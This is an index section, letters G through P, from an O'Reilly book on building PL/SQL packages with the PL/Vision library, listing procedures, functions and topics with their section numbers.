gas generators : 5.13.9. Generating get-and-set routines
gas procedure : 16.2.4. Generating Get-and-Set Routines
gendesc.sql script : 11.7.1. Some Simple Applications of loopexec
generating
Oracle sequence numbers : 19.4.1.5. Generating sequence numbers
code : 5.13. PLVgen: PL/SQL Code Generator
PL/SQL code : 16. PLVgen: Generating PL/SQL Programs
get-and-set routines
5.13.9. Generating get-and-set routines
16.2.4. Generating Get-and-Set Routines
get_keyword function
5.26.4. Retrieving keyword information
10.2.3. Retrieving Information About a Token
get_line procedure
5.11.9. Reading from a file
5.15.7. Reading and writing lines
5.17.5. Reading the log
12.6. Reading From the Source
13.5.1. Reading the Next Line
21.1.4.2. Retrieving log data from PL/SQL table
get_next_atomic procedure : 5.16.2. Scanning PL/SQL strings
get_next_token procedure : 5.16.2. Scanning PL/SQL strings
GET_TIME function : 14. PLVtmr: Analyzing Program Performance
getkey_clrtyp function
A.1.8. Module Evaluation: Foreign Key Lookup
A.2.8.1. A rewrite of the getkey_clrtyp function
global variables : 2.10.2. Tracing Variable Reads and Writes
global data
1.3.4. Object Persistence
1.6.1.3. Need global data structures for your PL/SQL programs
go procedure : 22.1.6.2. The high-level handlers
GRANT command : 1.3.5. Guaranteeing Transaction Integrity

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: H

halting programs
22.1.9. Halting in PLVexc
5.10.6. Exception handlers
handle procedure
5.10.6. Exception handlers
22.1.6.1. The handle procedure
22.3.3.1. Implementing the generic handler
handling exceptions : (see exceptions)
hard-coded literals : (see literals)
header, program : 16.3.3. Using the Program Header
headers : 2.2. Using Effective Coding Style for Packages
headers, table
5.25.3. Toggle for showing header
8.3. Showing Header Toggle
help
(see also documentation)
2.2. Using Effective Coding Style for Packages
help.sql script : 4.5. Using Online Help
help_end function
5.14.3. Help text stub generators
17.4.3. Creating Help Text
help_start function
5.14.3. Help text stub generators
17.4.3. Creating Help Text
helpproc procedure
5.13.5. Help generators
16.2.5.2. Generating a help procedure
helptext procedure
5.13.5. Help generators
16.2.5.1. Generating help text stubs
17.4.3. Creating Help Text
hidden package elements
1.6.1.5. Isolate volatile areas of functionality
1.3.1. Enforced Information Hiding
hiding
get-and-set routines : 16.2.4. Generating Get-and-Set Routines
package elements
2.7. Building Windows Into Your Packages
2.10. Hiding Package Data
history of PL/Vision : 4.1.2. The Origins of PL/Vision
hour : (see date and time)

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: I

I/O
output prefix : 7.3. The Output Prefix
p package output
5.2.1. Toggling output from the p package
7.4. Controlling Output from p
PLVfile package for : 5.11. PLVfile: Operating System I/O Manager
PLVio package for : 5.15. PLVio: Input/Output Processing
PLVtrc output : 21.2.1. Directing Output from PLVtrc
put_line output : 16.4.3.2. Output mechanism of put_line
standard output : 12.2.5. Standard Output Target
ID, foreign keys : 5.12.4. Looking up the ID
id function : 19.6.4. Looking up the ID
identifiers
(see also reserved words)
2.10.5. Anchoring to Public Variables
idisplay procedure : 8.7. Implementing PLVtab.display
idx procedure : 5.8.3. Dumping the DDL
IF statement
A.1.1. Conditional Logic
A.2.1. Conditional Logic
3.7. Handling Program Assumptions
ifunc procedure : 16.4.4.2. Translating data to constant
implemenations, comparing : 14.4.1. Comparing Performance of Different Implementations
implementation of code : 3.9. Considering Implementation Options
implicit queries : 1.6.1.5. Isolate volatile areas of functionality
inclschema procedure : 5.8.1. Including the schema
inclsp procedure : 5.8.2. Including the storage parameter
including_schema function : 5.8.1. Including the schema
including_sp function : 5.8.2. Including the storage parameter
incomplete installation : 4.4.4. A Warning About Partial Installation
incr_indent function : 16.3.1. Indentation in PLVgen
increment_and_commit procedure
5.7.3. Performing commits
12.9.3. Clearing the Target
20.1.3. Performing Incremental Commits
inctlg.sql script
18.2.3.3. Examining the catalogue
18.2.4.1. Examining the references
indent function : 16.3.1. Indentation in PLVgen
indent_stg function : 16.4.3.3. Modularization inside put_line
indentation
2.2. Using Effective Coding Style for Packages
5.13.1. Package constants
in PLVgen package : 16.3.1. Indentation in PLVgen
of generated code : 16.2.2.3. Changing indentation of generated code
infile function
5.11.9. Reading from a file
13.5.3. The INSTR of PLVFile
init.ora file : 13.1.1. Enabling File Access in the Oracle Server
init_counter procedure
5.7.4. Managing the commit counter
20.1.3.2. Initializing the counter
init_table procedure
5.22.3. Parsing PL/SQL source code
10.3.3. Initializing a Table of Tokens
initialization section, package
1.6.3. The Initialization Section
1.6.5.2. Asserting the purity level of the initialization section
initializing
PLVcmt counter : 20.1.3.2. Initializing the counter
source repository : 12.3.2. Initializing the Source
SQL*Plus : 4.4.2. A PL/Vision Initialization Script for SQL*Plus
target repository
5.15.6. Managing the target repository
12.5.1. Initializing the Target
token table : 10.3.3. Initializing a Table of Tokens
initline procedure : 5.15.7. Reading and writing lines
initsrc procedure
5.15.4. Managing the source repository
12.3.2. Initializing the Source
inittrg procedure
5.15.6. Managing the target repository
12.5.1. Initializing the Target
inline help : (see comments; help)
INSERT statement : 12.5. Managing the Target Repository
insert_failure exception : 5.15.1. Package constants and exceptions
insertitem procedure : 5.18.3. Modifying list contents
install subdirectory
4.3.3. Beginning the Installation
4.6.1. Contents of the install Subdirectory
installing
PL/Vision help packages : 4.4. Installing Online Help for PL/Vision
PL/Vision Lite : 4.3. Installation Instructions
windows in packages : 2.7.2. Designing the Window Interface
INSTR function
10.1.3.4. nth_atomic function
13.5.3. The INSTR of PLVFile
intab procedure : 21.1.6. Displaying the Log
integrity
1.3.5. Guaranteeing Transaction Integrity
21.1.5. Rolling Back with PLVlog
interface
messages : (see messages)
packages
2.5. Constructing the Optimal Interface to Your Package
2.10.3. Simplifying Package Interfaces
PLVcmt package : 5.7. PLVcmt: Commit Processing
to SQLERRM function : 6.4.2. Obtaining the Error Message
to foreign key information : 5.12. PLVfk: Foreign Key Interface
to PL/SQL objects
5.20. PLVobj: Object Interface
11. PLVobj: A Packaged Interface to ALL_OBJECTS
to PLV_token table : 5.26. PLVtkn: Token Table Interface
top-down design : 1.3.3. Top-Down Design
user : 3.4. Improving the User Interface
window (trace) : 2.7.2. Designing the Window Interface
interfact DBMS_SQL package : 19.4. PLVdyn: A Code Layer over DBMS_SQL
invalid action codes : 3.7. Handling Program Assumptions
INVALID_FILEHANDLE exception : 13.1.4. Handling UTL_FILE Errors
INVALID_MODE exception : 13.1.4. Handling UTL_FILE Errors
INVALID_OPERATION exception : 13.1.4. Handling UTL_FILE Errors
INVALID_PATH exception
13.1.4. Handling UTL_FILE Errors
13.9. Handling File Errors with PLVfile
IS : (see initialization section, package)
is_blank function : 5.6.2. Character type functions
is_builtin function
5.26.3. Determining type of token
10.2.2. Determining Token Type
is_datatype function
5.26.3. Determining type of token
10.2.2. Determining Token Type
is_delimiter function : 5.16.1. Analyzing PL/SQL string content
is_digit function : 5.6.2. Character type functions
is_exception function
5.26.3. Determining type of token
10.2.2. Determining Token Type
is_keyword function
5.26.3. Determining type of token
10.2.2. Determining Token Type
is_letter function : 5.6.2. Character type functions
is_made function : 5.18.2. Creating and destroying lists
is_nonprinting function : 5.6.2. Character type functions
is_oneline_comment function : 5.16.1. Analyzing PL/SQL string content
is_other function : 5.6.2. Character type functions
is_quote function : 5.6.2. Character type functions
is_symbol function
5.26.3. Determining type of token
10.2.2. Determining Token Type
is_syntax function
5.26.3. Determining type of token
10.2.2. Determining Token Type
itemin function : 5.24.4. Analyzing stack contents

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K| | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: J

There are no index entries for the letter "J" in this book.

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: K

KEEP program : 1.4.3.1. Managing packages in shared memory
keep_all procedure : 5.22.2. Specifying tokens of interest
keep_bi procedure : 5.22.2. Specifying tokens of interest
keep_kw procedure : 5.22.2. Specifying tokens of interest
keep_nonkw procedure : 5.22.2. Specifying tokens of interest
keywords : (see reserved words)
killing programs : 22.1.10. Bailing Out with PLVexc
kw_rectype type : 5.26.2. The keyword record TYPE

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: L

l procedure
2.8.1.1. Supporting many data combinations
7.1. Using the l Procedure
7.4. Controlling Output from p
overloadings of : 5.2.4. The overloadings of the l procedure
last_line variable : 15.4.2.7. Showing code just once
lastsp function : 5.23.4. Managing savepoints
lava lamp effect : 2.9.2. Lava Lamp Code Consolidation
layering packages : 2.9. Modularizing for Maintainable Packages
layers, code : (see packages)
least-recently used (LRU) algorithm : 1.4.3.1. Managing packages in shared memory
libraries
1.2.2. The Client-Side Layers
1.5.2. Prebuilt Packages
lifo constant : 5.24.1. Package constants
limit_ps procedure : 17.4.2. Setting the Page Size
line function
5.11.9. Reading from a file
13.5.2. Reading the nth Line
line limit, WHERE clause : 12.4.3. Setting a Line Limit
line numbers, code : 15.3. Displaying Source Code
line prefix : 5.2.3. Setting the line prefix
line procedure
5.4.2. Case-converting programs
18.1.1.3. Converting a line
line separator
5.2.2. Setting the line separator
7.2. The Line Separator
line_type record : 5.15.2. Package records
line_with function : 5.15.5. Managing the source WHERE clause
lines, changing case of : 18.1.1.3. Converting a line
linesep function
5.2.2. Setting the line separator
7.2. The Line Separator
list of bailout errors : 22.1.10.1. Managing the bailout error list
list_full exception : 5.18.1. Package exceptions
list_undefined exception : 5.18.1. Package exceptions
lists : 5.18. PLVlst: List Manager
lists, copying files to
5.11.11. Copying a file
13.7.3. Copying File to List
literals
1.6.1.4. Remove hard-coded literals from your application
3.12. Obliterating the Literals
PLV package : 6.6. The Predefined Constants
user awareness of : 2.5.3. Avoiding Need for User to Know and Pass Literals
load_from_dbms procedure
5.19.2. Managing and accessing message text
9.2.2. Batch Loading of Message Text
9.6. Implementing load_ from_dbms
loading message text : 9.2.2. Batch Loading of Message Text
log procedure : 21.1.2.1. Using put_line
logging
2.6.3. Changing Package Behavior Without Changing the Application
5.17. PLVlog: Logging Facility
21. PLVlog and PLVtrc: Logging and Tracing
21.1.2.1. Using put_line
commit activity : 5.7.2. Logging commit activity
commits : 20.1.5. Logging Commits
errors : 22.1.7.1. Logging errors
exceptions
5.10.3. Logging exception-handling activity
22.3.3.3. Recording the exception
hard-coding with exceptions : 22.3.2.2. Drawbacks of the usual handlers
rollbacks
5.23.2. Logging rollback activity
20.2.2. Logging Rollbacks
trace activity : 5.28.3. Writing to the PL/Vision log
trace messages : 21.2.1. Directing Output from PLVtrc
logging function : 21.2.1. Directing Output from PLVtrc
logic, conditional
A.1.1. Conditional Logic
A.2.1. Conditional Logic
login.sql file : 4.4.2. A PL/Vision Initialization Script for SQL*Plus
logtype function : 5.17.3. Selecting the log type
loopexec procedure
5.20.6. Programmatic cursor FOR loop elements
11.7. A Programmatic Cursor FOR Loop
loops
A.1.2. Loops
A.2.2. Loops
2.2. Using Effective Coding Style for Packages
LPAD function : 3.9. Considering Implementation Options
LRU (least-recently used) algorithm : 1.4.3.1. Managing packages in shared memory

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: M

make procedure : 5.18.2. Creating and destroying lists
max_line variable : 5.11.1. Package constants and exceptions
max_line_size constant : 5.11.1. Package constants and exceptions
max_row function : 5.19.2. Managing and accessing message text
max_varchar2 variable
5.3.2. Anchoring datatypes
6.5. The Predefined Datatypes
memory
package architecture : 1.4.3. The Memory-Resident Architecture of Packages
PL/Vision package requirements : 4.3.2. Storage Requirements
SGA : (see SGA)
shared : 1.4.3.1. Managing packages in shared memory
message, elapsed time display : 14.3.1. elapsed_message Function
messages
5.19. PLVmsg: Message Handling
9. PLVmsg: Single-Sourcing PL/SQL Message Text
error : 22.1.6.4. Defining error messages with PLVmsg
trace : (see tracing)
min_row function : 5.19.2. Managing and accessing message text
minute : (see date and time)
MOD function : 20.1.1.4. Getting back on track
mode, file : 13.1.3. File Location, Name, and Mode
modularization
A.1.7. Modules
A.2.7. Modules
16.4.2.1. Benefits of internal modularization
16.4.3.3. Modularization inside put_line
layers : 4.1.1. The Benefits of PL/Vision
modularizing : 2.9. Modularizing for Maintainable Packages
module procedure
5.22.3. Parsing PL/SQL source code
10.3.2.3. module procedure
18.1.1.4. Converting a module
18.2.3.1. Cataloguing a single module
21.2.4.7. Retrieving stack contents
modules, including in trace messages : 21.2.1. Directing Output from PLVtrc
modules procedure
11.7.2. Constructing the Execution String
18.2.3.2. Cataloguing multiple modules
month : (see date and time)
more procedure
5.14.4. Displaying online help
17.4.1. Showing the Help Text
17.5.6. Page Pausing with PLVhlp.more
more_objects function
5.20.5. Interfacing with the PLVobj cursor
11.4.3. Checking for Last Record
MS-DOS delimiter : 5.11.1. Package constants and exceptions
mth_total function : 13.5.3.1. Building utilities around infile
multiline comments : 5.16.1. Analyzing PL/SQL string content
multiobj procedure : 19.4.1.4. Implementing multiobject actions
multiple
modules, cataloging : 18.2.3.2. Cataloguing multiple modules
objects, actions on : 19.4.1.4. Implementing multiobject actions
package construction : 2.11. Simultaneous Construction of Multiple Packages

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: N

name function : 19.6.3. Looking Up the Name
NAME_RESOLVE procedure : 11.3.2. Converting the Program Name
names : 2.8.1.1. Supporting many data combinations
character : 5.6.3. Other functions and procedures
database log table : 21.1.3.1. Defining the database log table
filenames
5.11.13. Miscellaneous operations
13.1.3. File Location, Name, and Mode
parsing : 13.2.3. Parsing the File Name
foreign key
(see foreign key lookups)
5.12.3. Looking up the name
functions : 2.3.1. Choosing Appropriate and Accurate Names
instead of literals : 1.6.1.4. Remove hard-coded literals from your application
message database elements : 9.2.2. Batch Loading of Message Text
object, putting in table : 11.6. Populating a PL/SQL Table with Object Names
packages : 2.3. Selecting Package Names
program, parsing : 11.3.2. Converting the Program Name
qualified (dot) notation
2.3. Selecting Package Names
2.3.2. Avoiding Redundancy
reserved words : 10.2. PLVtkn: Managing PL/SQL Tokens
unambiguous arguments : 2.8.1.3. Unambiguous, simple arguments
zooming in on help topic by : 4.5.1. Zooming in on help text
nested
block versus PL/SQL block : 19.5.5.2. Scope of a dynamic PL/SQL block
IF statements
A.1.1. Conditional Logic
A.2.1. Conditional Logic
packages : 2.9. Modularizing for Maintainable Packages
next_atom_loc function
5.16.2. Scanning PL/SQL strings
5.21.3. Analyzing string contents
10.1.3.1. next_atom_loc function
nextseq function
5.9.4. Data Definition Language operations
19.4.1.5. Generating sequence numbers
nitems function : 5.24.4. Analyzing stack contents
NO_DATA_FOUND exception
13.1.4. Handling UTL_FILE Errors
21.2.5. Using PLVtrc
no_name_specified exception : 5.20.2. General constants and exceptions
no_such_table exception : 5.10.2. Package-based exceptions
NO_SUCH_TABLE exception : 22.1.2. Package-Based Exceptions
nobailout procedure
5.10.7. Bailing out program execution
22.1.10.2. Starting and stopping the bailout
nobailout_on procedure : 22.1.10.1. Managing the bailout error list
nodispmod procedure
5.28.4. Displaying current module
21.2.1. Directing Output from PLVtrc
nodo_rollback procedure : 5.17.7. Rolling back in PLVlog
noexecsql procedure : 5.9.2. Controlling execution of dynamic SQL
noinclschema procedure : 5.8.1. Including the schema
noinclsp procedure : 5.8.2. Including the storage parameter
nokeep_all procedure : 5.22.2. Specifying tokens of interest
nokeep_bi procedure : 5.22.2. Specifying tokens of interest
nokeep_kw procedure : 5.22.2. Specifying tokens of interest
nokeep_nonkw procedure : 5.22.2. Specifying tokens of interest
nolog procedure : (see logging)
norb procedure
5.10.5. Rolling back on exception
22.1.8. Rolling Back When an Exception Occurs
norestrict procedure : 9.4. The Restriction Toggle
normalizing timer : 14.3.3. Setting the Timing Factor
nosavesrc procedure
5.15.8. Saving and restoring repository settings
12.8. Saving and Restoring Settings
nosavetrg procedure : 5.15.8. Saving and restoring repository settings
noshow procedure : 22.1.7.2. Showing errors
noshowhdr procedure : 5.25.3. Toggle for showing header
noshowrow procedure : 5.25.4. Toggle for showing row numbers
noshowsql procedure
5.9.1. Tracing PLVdyn activity
19.5.9. Tracing Use of Dynamic SQL
nouns, names as : 2.3.1. Choosing Appropriate and Accurate Names
nousecmnt procedure : 16.3.6. Generating Comments
nousecor procedure : 16.3.9. Including CREATE OR REPLACE
nouseexc procedure : 16.3.5. Using the PLVexc Exception Handler
nousehdr procedure : 16.3.3. Using the Program Header
nousehlp procedure : 16.3.7. Generating Online Help Text Stubs
nouseln procedure : 16.3.8. Generating Line Numbers
nousetrc procedure : 16.3.4. Using the Program Trace
now function
5.3.6. Miscellaneous programs
6.4.3. Retrieving Date and Time
6.6. The Predefined Constants
nth_atomic function
5.21.3. Analyzing string contents
10.1.3.4. nth_atomic function
NULL
checking for : (see assertion routines)
substitution value
5.3.4. Setting the NULL substitution value
6.1. Null Substitution Value
nullval function
5.3.4. Setting the NULL substitution value
6.1. Null Substitution Value
numatomics function
5.21.3. Analyzing string contents
10.1.3.3. numatomics function
number of atomics in strings : 10.1.3.3. numatomics function
numbers
bailout error : 22.1.10.1. Managing the bailout error list
checking characters for : 5.6.2. Character type functions
code line : 16.3.8. Generating Line Numbers
code lines : 15.3. Displaying Source Code
error codes : 22.1.6.1. The handle procedure
error message : 9.4. The Restriction Toggle
help index : 4.5.1. Zooming in on help text
message : 9. PLVmsg: Single-Sourcing PL/SQL Message Text
Oracle sequence : 19.4.1.5. Generating sequence numbers
table row : 5.25.4. Toggle for showing row numbers
table rows : 8.4. Showing Row Number Toggle
numinstr function
5.21.3. Analyzing string contents
10.1.3.6. numinstr function

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: O

obj_cur cursor
11.2.1. Cursor Into ALL_OBJECTS
11.4.1. Opening and Closing the PLVobj Cursor
object-oriented design : 1.3.2. Object-Oriented Design
objects
5.20. PLVobj: Object Interface
11. PLVobj: A Packaged Interface to ALL_OBJECTS
binding to cursor : 11.5. Binding Objects to a Dynamic Cursor
persistence : 1.3.4. Object Persistence
populating tables with : 11.6. Populating a PL/SQL Table with Object Names
online help
(see also documentation)
17. PLVhlp: Online Help for PL/SQL Programs
page size
17.4.2. Setting the Page Size
17.5.6.4. Maintaining the current page variables
open_and_parse function
2.7.3. Implementing the Window
5.9.3. Bundled, low-level operations
19.5.6.1. Open and parse
OPEN_CURSOR package : 19.5.6.1. Open and parse
open_objects procedure
5.20.5. Interfacing with the PLVobj cursor
11.4.1. Opening and Closing the PLVobj Cursor
opening files
13.4. Opening and Closing Files
5.11.7. Opening a file
opening PLVobj cursor : 11.4.1. Opening and Closing the PLVobj Cursor
operating system : 13. PLVfile: Reading and Writing Operating System Files
delimiter
5.11.3. Setting the operating system delimiter
13.2.1. Setting the Operating System Delimiter
managing : 5.11. PLVfile: Operating System I/O Manager
order of package elements : 2.2.1. Choosing the Order of Elements
out_of_bounds exception : 5.18.1. Package exceptions
output : (see I/O)
output from p package : 7.4. Controlling Output from p
output prefix : 7.3. The Output Prefix
overhead, CPU : (see performance)
overhead, operation : 14.4.2. Calculating Overhead of an Action
overlap function
5.29.2. Setting the overlap
15.2.2. Setting the Code Overlap
overlap, code : 15.2.2. Setting the Code Overlap
overloading
2.8. Overloading for Smart Packages
2.9.1. Implementing Overloading with Private Programs
in PLVgen package : 16.4.4. Overloading in PLVgen
l procedure : 5.2.4. The overloadings of the l procedure

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: P

p package
2.8.1.1. Supporting many data combinations
4.2.1. Building Blocks
5.2. p: a DBMS_OUTPUT Substitute
7. p: A Powerful Substitute for DBMS_OUTPUT
l : (see l procedure)
output from : 7.4. Controlling Output from p
package libraries : 1.5.2. Prebuilt Packages
packages
(see also modularizing)
A.1.6. Builtin Packages
1.1. What Is a PL/SQL Package?
2.9. Modularizing for Maintainable Packages
5.13.6. Generating a package
access to elements : 1.4.4. Access to Package Elements
building : 1.6. Building Packages
built-in : A.2.6. Builtin Packages
codependency : 2.4.1. Creating Codependent Packages
effective coding of : 2. Best Practices for Packages
exception : (see PLVexc packages)
exception section : 1.6.3.2. The exception section
flexibility : 2.6. Building Flexibility Into Your Packages
generating : 16.2.1. Generating a Package
help : (see documentation)
hiding elements of
1.3.1. Enforced Information Hiding
2.7. Building Windows Into Your Packages
2.10. Hiding Package Data
in PL/Vision
4.2. PL/Vision Package Bundles
4.3.5. Creating the PL/Vision Packages
5. PL/Vision Package Specifications
initializing
1.6.3. The Initialization Section
1.6.5.2. Asserting the purity level of the initialization section
interface
2.5. Constructing the Optimal Interface to Your Package
2.10.3. Simplifying Package Interfaces
layering : 2.9. Modularizing for Maintainable Packages
memory architecture : 1.4.3. The Memory-Resident Architecture of Packages
memory requirements : 4.3.2. Storage Requirements
multiple, constructing : 2.11. Simultaneous Construction of Multiple Packages
naming : 2.3. Selecting Package Names
online help : (see PLVhlp package)
ordering elements of : 2.2.1. Choosing the Order of Elements
package body
1.6. Building Packages
1.6.2. The Package Body
package specification
1.4.1. The Package Specification
1.6. Building Packages
PL/SQL : 19.2. Declarative Programming in PL/SQL
PLVctlg table : 18.2.2.1. PLVctlg table
recompiling : 2.4. Organizing Package Source Code
referencing elements of : 1.4.2. Referencing Package Elements
synonyms for : 4.3.6. Granting Access to PL/Vision
windows in : 2.7. Building Windows Into Your Packages
working with large : 1.6.4. Working with Large Packages
page size
17.4.2. Setting the Page Size
17.5.6.4. Maintaining the current page variables
online help : 5.14.2. Setting the page size
pagesize function : 17.4.2. Setting the Page Size
paragraphs
5.21.2. Wrapping long strings into paragraphs
10.1.4. Wrapping Strings into Paragraphs
parallelization of programs : 1.5.1.1. Leveraging builtin packages
parameter list : 16.2.2.2. A procedure with parameter list and executable code
PARSE procedure : 19.5.6.1. Open and parse
parse tree : 1.6.4. Working with Large Packages
parse_delete procedure
5.9.3. Bundled, low-level operations
19.5.6.3. Parse for delete
parse_name procedure
5.11.13. Miscellaneous operations
13.2.3. Parsing the File Name
parsing
code : 5.22. PLVprsps: PL/SQL Source Code Parsing
delimiter, defining : 10.1.2. Customizing the Delimiter Set
file name : 13.2.3. Parsing the File Name
PL/SQL code : 10.3.2. Parsing PL/SQL Code
program names : 11.3.2. Converting the Program Name
strings
5.16. PLVlex: Lexical Analysis
5.21. PLVprs: String Parsing
10. PLVprs, PLVtkn, and PLVprsps: Parsing Strings
partial installation : 4.4.4. A Warning About Partial Installation
pauding programs : 5.3.6. Miscellaneous programs
pause procedure
5.3.6. Miscellaneous programs
6.4.4. Pausing Your Program
pausing help text (see more procedure)
pausing programs
6.4.4. Pausing Your Program
A.2.6. Builtin Packages
perform_commit procedure
5.7.3. Performing commits
20.1.2. The COMMIT Substitute
perform_rollback function
5.23.3. Performing rollbacks
20.2.4. Performing Rollbacks
performance
A.2.6. Builtin Packages
1.3.6. Performance Improvement
3.10. Choosing the Best Performer
5.27.6. Calibration and timing scripts
14. PLVtmr: Analyzing Program Performance
dynamic PL/SQL : 19.5.5.3. The overhead of dynamic PL/SQL
package size : 1.6.4. Working with Large Packages
permissions : (see access)
persistence
1.3.4. Object Persistence
1.6.1.3. Need global data structures for your PL/SQL programs
pinning code into memory : 1.4.3.1. Managing packages in shared memory
pkg procedure
5.13.6. Generating a package
16.2.1. Generating a Package
pky procedure : 5.8.3. Dumping the DDL
PL/SQL
call stack : 21.2.2. Accessing the PL/SQL Call Stack
code, parsing : 10.3.2. Parsing PL/SQL Code
declarative programming : 19.2. Declarative Programming in PL/SQL
dynamic code : 19.5.5. Executing Dynamic PL/SQL Code
objects : 11. PLVobj: A Packaged Interface to ALL_OBJECTS
performance and : 19.5.5.3. The overhead of dynamic PL/SQL
reserved words : 5.26. PLVtkn: Token Table Interface
source code repositories : 12. PLVio: Reading and Writing PL/SQL Source Code
tokens : (see reserved words)
PL/Vision : 4.1. What Is PL/Vision?
bindobj procedure in : 11.5.3. Using bindobj in PL/Vision
cataloging : 18.2.3.4. Cataloguing PL/Vision
enhancing PLVexc with : 22.3.4. Revamping the PLVexc Package
installing : 4.3. Installation Instructions
logging : (see logging)
loopexec procedure in : 11.7.4. Applying loopexec in PL/Vision
packages of
4.2. PL/Vision Package Bundles
4.3.5. Creating the PL/Vision Packages
5. PL/Vision Package Specifications
PLVgen and : 16.4.6. Leveraging PL/Vision in PLVgen
PLVmsg with : 9.5.1. Using PLVmsg in PL/Vision
sharing among users : 4.3.6. Granting Access to PL/Vision
tracing : (see tracing)
PL/Vision Lite : 4.2. PL/Vision Package Bundles
placeholder function : 5.9.7. Miscellaneous programs
plsql procedure
5.8.3. Dumping the DDL
5.9.6. Executing dynamic PL/SQL
19.5.5. Executing Dynamic PL/SQL Code
plsql_block function
5.9.7. Miscellaneous programs
19.5.5.1. Implementation of PLVdyn.plsql
plsql_delimiters constant
5.21.1. Package constants
10.1.2. Customizing the Delimiter Set
plsql_identifier variable
5.3.2. Anchoring datatypes
6.5. The Predefined Datatypes
19.5.5.2. Scope of a dynamic PL/SQL block
plsql_string procedure
5.22.3. Parsing PL/SQL source code
10.3.2.1. plsql_string procedure
plug-and-play packages
4.2.3. Plug-and-Play Components
19. PLVdyn and PLVfk: Dynamic SQL and PL/SQL
PLV package : 4.2.1. Building Blocks
constants and functions : 6. PLV: Top-Level Constants and Functions
PLV_token table : 10.2.1. Keeping Track of PL/SQL Keywords
PLVcase package
4.2.2. Developer Utilities
5.4. PLVcase: PL/SQL Code Conversion
18.1. PLVcase: Converting the Case of PL/SQL Programs
PLVcat package
